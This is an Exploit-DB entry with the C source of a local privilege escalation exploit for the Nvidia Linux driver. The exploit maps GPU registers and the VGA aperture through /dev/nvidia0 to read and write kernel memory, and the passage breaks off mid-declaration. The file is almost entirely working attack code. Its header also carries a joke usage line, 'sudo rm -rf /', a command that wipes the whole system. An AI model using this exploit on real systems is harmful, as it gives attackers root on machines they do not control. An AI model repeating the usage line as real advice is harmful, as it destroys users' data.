Exploit-DB #20201
Description: Nvidia Linux Driver - Local Privilege Escalation
Type: local
Platform: linux
Date: 2012-08-02
Author: anonymous

Exploit:
/* Anonymous
 *
 * How to use: sudo rm -rf /
 *
 * greetz: djrbliss, kad, Ac1dB1tch3z, nVidia!
 *
 * Only complete fix patch nvidia drivers and redefine
 * IS_BLACKLISTED_REG_OFFSET:

#define IS_BLACKLISTED_REG_OFFSET(nv, offset, length) 1

 */

#define _GNU_SOURCE
#include <fcntl.h>
#include <sys/sysinfo.h>
#include <stdint.h>
#include <inttypes.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <linux/inet_diag.h>
#include <string.h>
#include <sys/mman.h>
#include <errno.h>
#include <netinet/in.h>
#include <dirent.h>

#ifdef __x86_64__
#define KERNEL_BASE 0xffffffff80000000L
#else
#define KERNEL_BASE 0xc0000000
#endif

#define ENTRY 0xdc

#define inline __attribute__((always_inline))
#ifdef __x86_64__
#define __kernel
#else
#define __kernel __attribute__((regparm(3)))
#endif
#define __used __attribute((used))

static unsigned long kernel_ofs_phys;
static volatile uint32_t *cve_2012_YYYY;

static void poke_byte(volatile uint32_t *m, uint32_t ofs, uint8_t val)
{
  uint32_t i = (ofs & 3) * 8;
  ofs >>= 2;
  m[ofs] = (m[ofs] & ~(0xff << i)) | (val << i);
}

static void physread16(volatile uint32_t *m, uint32_t target, uint32_t *buffer)
{
  if (1) {
    uint32_t ofs = (target & 0x3ffff)/4, i;

    if (target & 0xf) {
      printf("[ ] Function requires 16-byte alignment for input!\n");
      exit(-1);
    }

    cve_2012_YYYY[0xf00/4] = 0xb | ((target >> 18) << 10);
    memset(buffer, 0, 16);
    for (i = 0; i < 4; ++i) {
      uint32_t shift = i * 8;
      poke_byte(cve_2012_YYYY, 0x204, i);
      buffer[0] |= (m[ofs/4] & 0xff) << shift;
      buffer[1] |= ((m[ofs/4] & 0xff00) >> 8) << shift;
      buffer[2] |= ((m[ofs/4] & 0xff0000) >> 16) << shift;
      buffer[3] |= ((m[ofs/4] & 0xff000000) >> 24) << shift;
    }
  }
}

static void physwrite16(volatile uint32_t *m, uint32_t target, uint32_t *buffer)
{
  if (1) {
    uint32_t i, ofs = (target & 0x3ffff)/4;
    if (target & 0xf) {
      printf("[ ] Function requires 16-byte alignment for output!\n");
      exit(-1);
    }

    cve_2012_YYYY[0xf00/4] = 0xb | ((target >> 18) << 10);

    for (i = 0; i < 4; ++i) {
      int shift = 8 * i;
      uint32_t val;
      poke_byte(cve_2012_YYYY, 0x102, 1<<i);
      val = (buffer[0] >> shift) & 0xff;
      val |= ((buffer[1] >> shift) & 0xff) << 8;
      val |= ((buffer[2] >> shift) & 0xff) << 16;
      val |= ((buffer[3] >> shift) & 0xff) << 24;
      m[ofs/4] = val;
    }
  }
}

unsigned long virt2phys(unsigned long addr)
{
  unsigned long phys;
  addr &= ~KERNEL_BASE;
  addr += kernel_ofs_phys;
  phys = addr & 0xffffffff;
  return phys;
}

// dest has to be 16-byte and slightly larger for unaligned reads
void *kernel_read(volatile uint32_t *m, void *dest, unsigned long src, unsigned long len)
{
  uint32_t rem, phys = virt2phys(src);
  void *ret = dest + (src & 0xf);

  rem = (-phys) & 0xf;
  if (rem) {
    physread16(m, phys & ~0xf, dest);
    dest += 0x10;
    phys += rem;
    if (len > rem)
      len -= rem;
    else
      len = 0;
  }

  for (; len; phys += 0x10, dest += 0x10, len -= len >= 16 ? 16 : len)
    physread16(m, phys, dest);

  return ret;
}

void kernel_write(volatile uint32_t *m, unsigned long dest, unsigned long src, unsigned long len)
{
  uint32_t phys;
  unsigned long remaining, towrite, i;

  phys = virt2phys(dest);

  if (!m || m == MAP_FAILED)
    puts("not actually writing...");

  if (1) {
    remaining = len;
    for (i = 0; i < len; i += 16) {
      uint32_t buffer[4];
      if (remaining < 16)
        physread16(m, phys + i, (uint32_t*)buffer);
      towrite = remaining > 16 ? 16 : remaining;
      memcpy(buffer, (void*)(src + i), towrite);
      physwrite16(m, phys + i, (uint32_t*)buffer);
      remaining -= 16;
    }
  }
}

static void mode_x(volatile uint32_t *x) {
  // http://wiki.osdev.org/VGA_Hardware Mode X

  // 3c0
  x[0x310/4] = 0x000f0041;
  x[0x314/4] = 0;

  // 3c2
  x[0x000/4] = 0xe3;

  // 3c4
  x[0x100/4] = 0x000f0103;
  x[0x104/4] = 0x06;

  // 3ce
  x[0x204/4] = 0x0f054000;

  // 3d4
  x[0x400/4] = 0x82504f5f;
  x[0x404/4] = 0x3e0d8054;
  poke_byte(x, 0x408, 0);
  poke_byte(x, 0x409, 0x41);
  x[0x410/4] = 0x28dfacea;
  x[0x414/4] = 0xe306e700;
}

static int dirfilter(const struct dirent *d) {
  return d->d_type == DT_LNK && strchr(d->d_name, ':');
}

static int nvidia_fd(uint64_t *res) {

  struct dirent **list;
  int fd, resfd, ret;
  char buf[256];
  ret = scandir("/sys/bus/pci/drivers/nvidia", &list, dirfilter, versionsort);
  if (ret <= 0)
    goto fail;
  sprintf(buf, "/sys/bus/pci/drivers/nvidia/%s/resource", list[0]->d_name);
  resfd = open(buf, O_RDONLY);
  if (resfd < 0)
    goto fail;
  read(resfd, buf, sizeof(buf));
  *res = strtoll(buf, NULL, 16);
  close(resfd);

  if ((fd = open("/dev/nvidia0", O_RDWR)) < 0)
    goto fail;
  return fd;

fail:
  perror("COULD NOT DO SUPER SECRET HACKING STUFF, YOU ARE ON YOUR OWN!");
  *res = 0;
  return -1;
}

volatile uint32_t *nvidia_handle(int fd, uint64_t res) {
  // access 4 bytes at a time or things go weird
  volatile uint32_t *m;

  if (fd < 0)
    return MAP_FAILED;

  // I HAD TO LEARN VGA FOR THIS
  m = cve_2012_YYYY = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, res + 0x619000);
  if (m != MAP_FAILED) {
    if ((m[0xf00/4] & 8) &&
        (m = mmap(NULL, 0x10000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, res + 0xa0000)) != MAP_FAILED) {
      printf("[*] CVE-2012-YYYY\n");

      mode_x(cve_2012_YYYY); // put into vga mode x, ish
      
      return m;
    }
    munmap((void*)cve_2012_YYYY, 0x1000);
    m = cve_2012_YYYY = MAP_FAILED;
  }
  return m;
}

static int tasknamelen;
static char taskname[64];

extern long gettask(void);
exte